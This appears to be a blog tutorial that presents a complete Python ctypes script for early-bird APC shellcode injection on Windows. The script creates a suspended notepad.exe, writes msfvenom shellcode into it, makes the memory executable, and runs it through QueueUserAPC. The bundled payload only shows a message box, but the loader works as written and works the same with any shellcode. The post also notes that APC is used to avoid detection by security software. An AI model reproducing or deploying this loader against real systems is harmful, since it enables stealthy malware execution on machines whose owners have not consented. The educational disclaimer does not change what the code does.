Sitemap
Delta

Delta

AIML Engineer | Exploit Developer | Researcher

Process Creation and Shellcode Execution

5 min readMar 23, 2025

--

In this article, we’ll explore how Python’s ctypes library can be used to interact with Windows APIs to create a new process, inject shellcode, and execute it. This code demonstrates a powerful technique that combines process creation with memory manipulation and remote code execution. While the code is highly technical, our explanation will break down each section into simple, digestible parts for better understanding.

Overview

The script leverages Windows APIs by using Python’s ctypes to perform several key actions:

  1. Process Creation: Launch a target process (in this example, notepad.exe) in a suspended state.
  2. Memory Allocation: Allocate memory in the remote process where shellcode will be injected.
  3. Shellcode Injection: Write a block of shellcode (generated by Metasploit) into the allocated memory.
  4. Memory Protection Adjustment: Change the memory protection to allow execution.
  5. Shellcode Execution: Queue an Asynchronous Procedure Call (APC) to execute the shellcode when the target process’s thread resumes.

Code:

from ctypes import *
from ctypes import wintypes
import subprocess

kernel32 = windll.kernel32
SIZE_T = c_size_t
LPTSTR = POINTER(c_char)
LPBYTE = POINTER(c_ubyte)

VirtualAllocEx = kernel32.VirtualAllocEx
VirtualAllocEx.argtypes = (wintypes.HANDLE, wintypes.LPVOID, SIZE_T, wintypes.DWORD, wintypes.DWORD)
VirtualAllocEx.restype = wintypes.LPVOID

WriteProcessMemory = kernel32.WriteProcessMemory
WriteProcessMemory.argtypes = (wintypes.HANDLE, wintypes.LPVOID, wintypes.LPCVOID, SIZE_T, POINTER(SIZE_T))
WriteProcessMemory.restype = wintypes.BOOL

class _SECURITY_ATTRIBUTES(Structure):
_fields_ = [('nlengths', wintypes.DWORD),
('lpSecurityDescriptor', wintypes.LPVOID),
('bInheritHandle', wintypes.BOOL),]

SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES
LPSECURITY_ATTRIBUTES = POINTER(_SECURITY_ATTRIBUTES)
LPTHREAD_START_ROUTINE = wintypes.LPVOID

CreateRemoteThread = kernel32.CreateRemoteThread
CreateRemoteThread.argtypes = (wintypes.HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, wintypes.LPVOID, wintypes.DWORD, wintypes.LPDWORD)
CreateRemoteThread.restype = wintypes.HANDLE

MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_READWRITE = 0x04
EXECUTE_IMMEDIATELY = 0X0
PROCESS_ALL_ACCESS = (0X000F0000 | 0X00100000 | 0X00000FFF)

VirtualProtectEx = kernel32.VirtualProtectEx
VirtualProtectEx.argtypes = (wintypes.HANDLE, wintypes.LPVOID, SIZE_T, wintypes.DWORD, wintypes.LPDWORD)
VirtualProtectEx.restype = wintypes.BOOL

# process = subprocess.Popen(["notepad.exe"])
# print("Starting process with PID => {}".format(process.pid))

class STARTUPINFO(Structure):
_fields_ = [("cb", wintypes.DWORD),
("lpReserved", LPTSTR),
("lpDesktop", LPTSTR),
("lpTitle", LPTSTR),
("dwX", wintypes.DWORD),
("dwY", wintypes.DWORD),
("dwXSize", wintypes.DWORD),
("dwYSize", wintypes.DWORD),
("dwXCountChars", wintypes.DWORD),
("dwYCountChars", wintypes.DWORD),
("dwFillAttribute", wintypes.DWORD),
("dwFlags", wintypes.DWORD),
("wShowWindow", wintypes.WORD),
("cbReserved2", wintypes.WORD),
("lpReserved2", LPBYTE),
("hStdInput", wintypes.HANDLE),
("hStdOutput", wintypes.HANDLE),
("hStdError", wintypes.HANDLE),]

class PROCESS_INFORMATION(Structure):
_fields_ = [("hProcess", wintypes.HANDLE),
("hThread", wintypes.HANDLE),
("dwProcessId", wintypes.DWORD),
("dwThreadId", wintypes.DWORD),]

CreateProcessA = kernel32.CreateProcessA
CreateProcessA.argtypes = (wintypes.LPCSTR, wintypes.LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, wintypes.BOOL, wintypes.DWORD, wintypes.LPVOID, wintypes.LPCSTR, POINTER(STARTUPINFO), POINTER(PROCESS_INFORMATION))
CreateProcessA.restype = wintypes.BOOL

#Now we use metasploit to develop our shellcode: msfvenom -a x64 -p windows/x64/messagebox TITLE=hello TEXT="This is you worst enemy :)" -f py
buf = b""
buf += b"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00"
buf += b"\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65"
buf += b"\x48\x8b\x52\x60\x3e\x48\x8b\x52\x18\x3e\x48\x8b"
buf += b"\x52\x20\x3e\x48\x8b\x72\x50\x3e\x48\x0f\xb7\x4a"
buf += b"\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02"
buf += b"\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
buf += b"\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
buf += b"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
buf += b"\x74\x6f\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44"
buf += b"\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48\xff\xc9\x3e"
buf += b"\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31"
buf += b"\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75"
buf += b"\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd6"
buf += b"\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
buf += b"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e"
buf += b"\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e"
buf += b"\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20"
buf += b"\x41\x52\xff\xe0\x58\x41\x59\x5a\x3e\x48\x8b\x12"
buf += b"\xe9\x49\xff\xff\xff\x5d\x3e\x48\x8d\x8d\x2f\x01"
buf += b"\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5\x49\xc7"
buf += b"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00"
buf += b"\x00\x3e\x4c\x8d\x85\x29\x01\x00\x00\x48\x31\xc9"
buf += b"\x41\xba\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41"
buf += b"\xba\xf0\xb5\xa2\x56\xff\xd5\x54\x68\x69\x73\x20"
buf += b"\x69\x73\x20\x79\x6f\x75\x20\x77\x6f\x72\x73\x74"
buf += b"\x20\x65\x6e\x65\x6d\x79\x20\x3a\x29\x00\x68\x65"
buf += b"\x6c\x6c\x6f\x00\x75\x73\x65\x72\x33\x32\x2e\x64"
buf += b"\x6c\x6c\x00"

def verify(x):
if not x:
raise WinError()

startup_info = STARTUPINFO()
startup_info.cb = sizeof(startup_info)

startup_info.dwFlags = 1
startup_info.wShowWindow = 1 #change the value to 0 if you want to hide the window

process_info = PROCESS_INFORMATION()

CREATE_NEW_CONSOLE = 0x00000010
CREATE_NO_WINDOW = 0x08000000
CREATE_SUSPENDED = 0x00000004

created = CreateProcessA(b"C:\\Windows\\System32\\notepad.exe", None, None, None, False, CREATE_SUSPENDED | CREATE_NO_WINDOW, None, None, byref(startup_info), byref(process_info))

verify(created)

pid = process_info.dwProcessId
h_process = process_info.hProcess
thread_id = process_info.dwThreadId
h_thread = process_info.hThread

print("Started process => Handle:{}, PID:{}, TID:{}".format(h_process, pid, thread_id))

remote_memory = VirtualAllocEx(h_process, False, len(buf), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
verify(remote_memory)
print("Memory allocated => ", hex(remote_memory))

write = WriteProcessMemory(h_process, remote_memory, buf, len(buf), None)
verify(write)
print("Bytes written => {}".format(len(buf)))

PAGE_EXECUTE_READ = 0x20

old_protection = wintypes.DWORD(0)
protect = VirtualProtectEx(h_process, remote_memory, len(buf), PAGE_EXECUTE_READ, byref(old_protection))
verify(protect)
print("Memory protection updated from {} to {}".format(old_protection.value, PAGE_EXECUTE_READ))

#rthread = CreateRemoteThread(h_process, None, 0, remote_memory, None, EXECUTE_IMMEDIATELY, None)
#verify(rthread)

PAPCFUNC = CFUNCTYPE(None, POINTER(wintypes.ULONG))

QueueUserAPC = kernel32.QueueUserAPC
QueueUserAPC.argtypes = (PAPCFUNC, wintypes.HANDLE, POINTER(wintypes.ULONG))
QueueUserAPC.restype = wintypes.BOOL

ResumeThread = kernel32.ResumeThread
ResumeThread.argtypes = (wintypes.HANDLE, )
ResumeThread.restype = wintypes.BOOL

rqueue = QueueUserAPC(PAPCFUNC(remote_memory), h_thread, None)
verify(rqueue)
print("Queueing APC thread => {}".format(h_thread))

rthread = ResumeThread(h_thread)
verify(rthread)
print("Resuming thread!")
Press enter or click to view image in full size

A little explanation of what's happening.

1. Interfacing with Windows API Using ctypes

Python’s ctypes module allows us to call functions in DLLs (dynamic-link libraries) directly. In the provided code, several Windows API functions from kernel32.dll are imported and configured:

  • VirtualAllocEx: Allocates memory in the address space of a specified process.
  • WriteProcessMemory: Writes data into the memory of a target process.
  • VirtualProtectEx: Modifies the memory protection of a region within a process.
  • CreateProcessA: Creates a new process and its primary thread.
  • QueueUserAPC: Queues an APC to a thread, allowing deferred execution.
  • ResumeThread: Resumes a suspended thread.

Each function is defined with its argument and return types, ensuring correct data is passed between Python and the Windows API.

2. Process Creation

The code creates a new process using the CreateProcessA API. In our example, the process is notepad.exe. Key aspects include:

    Get Delta’s stories in your inbox

    Join Medium for free to get updates from this writer.

  • Suspended State: The process is created with the CREATE_SUSPENDED flag. This means that the process does not begin execution immediately, giving us an opportunity to inject our shellcode safely.
  • No Window Option: The CREATE_NO_WINDOW flag is used to prevent the creation of a visible window.
  • Structures: Custom structures like STARTUPINFO and PROCESS_INFORMATION are defined to pass startup parameters and receive process details.

The process information, such as the process handle and thread ID, are later used for memory operations and code execution.

3. Memory Allocation in the Remote Process

After creating the process, memory is allocated in its address space using VirtualAllocEx:

  • Memory Size: The allocated size is exactly the length of the shellcode.
  • Memory Permissions: Initially, the memory is allocated with PAGE_READWRITE permission, which is required to write the shellcode.

This step is crucial because it reserves the area where the shellcode will be stored before it can be executed.

4. Writing and Protecting the Shellcode

Shellcode Injection

The shellcode is a binary payload generated (for example, with Metasploit’s msfvenom). It is stored as a byte string in the variable buf. The code uses WriteProcessMemory to copy this shellcode into the allocated memory in the target process.

Memory Protection Update

After writing the shellcode, the memory protection is updated using VirtualProtectEx to PAGE_EXECUTE_READ. This change allows the shellcode to be executed while still being readable, ensuring that when execution is transferred, the shellcode can run properly.

5. Executing the Shellcode via APC

Instead of directly creating a remote thread to execute the shellcode (a method that might be detected by security software), this script uses an Asynchronous Procedure Call (APC) method:

  • QueueUserAPC: This function queues an APC that points to the shellcode’s address in the remote process. APCs are executed when a thread enters an alertable state.
  • ResumeThread: The suspended thread of the target process is resumed, causing it to process the queued APC and execute the shellcode.

This technique demonstrates an advanced method for executing code within another process without creating a new thread explicitly.

6. Important Considerations

Security Implications

While the code illustrates a powerful technique for code injection, it is important to note that such methods can be used for both legitimate purposes (like debugging or testing) and malicious activities. Always ensure you have permission to test on a system and understand the ethical and legal considerations involved.

Educational Use

This article is intended for educational purposes. Understanding these techniques can help developers and security professionals better protect systems against unauthorized code injection and enhance their understanding of Windows internals.

Error Handling

The helper function verify checks the return values of Windows API calls and raises a WinError if a call fails. This is critical for debugging and ensuring that each step of the process is executed successfully.

--

Delta
Delta

Written by Delta

AIML Engineer | Exploit Developer | Researcher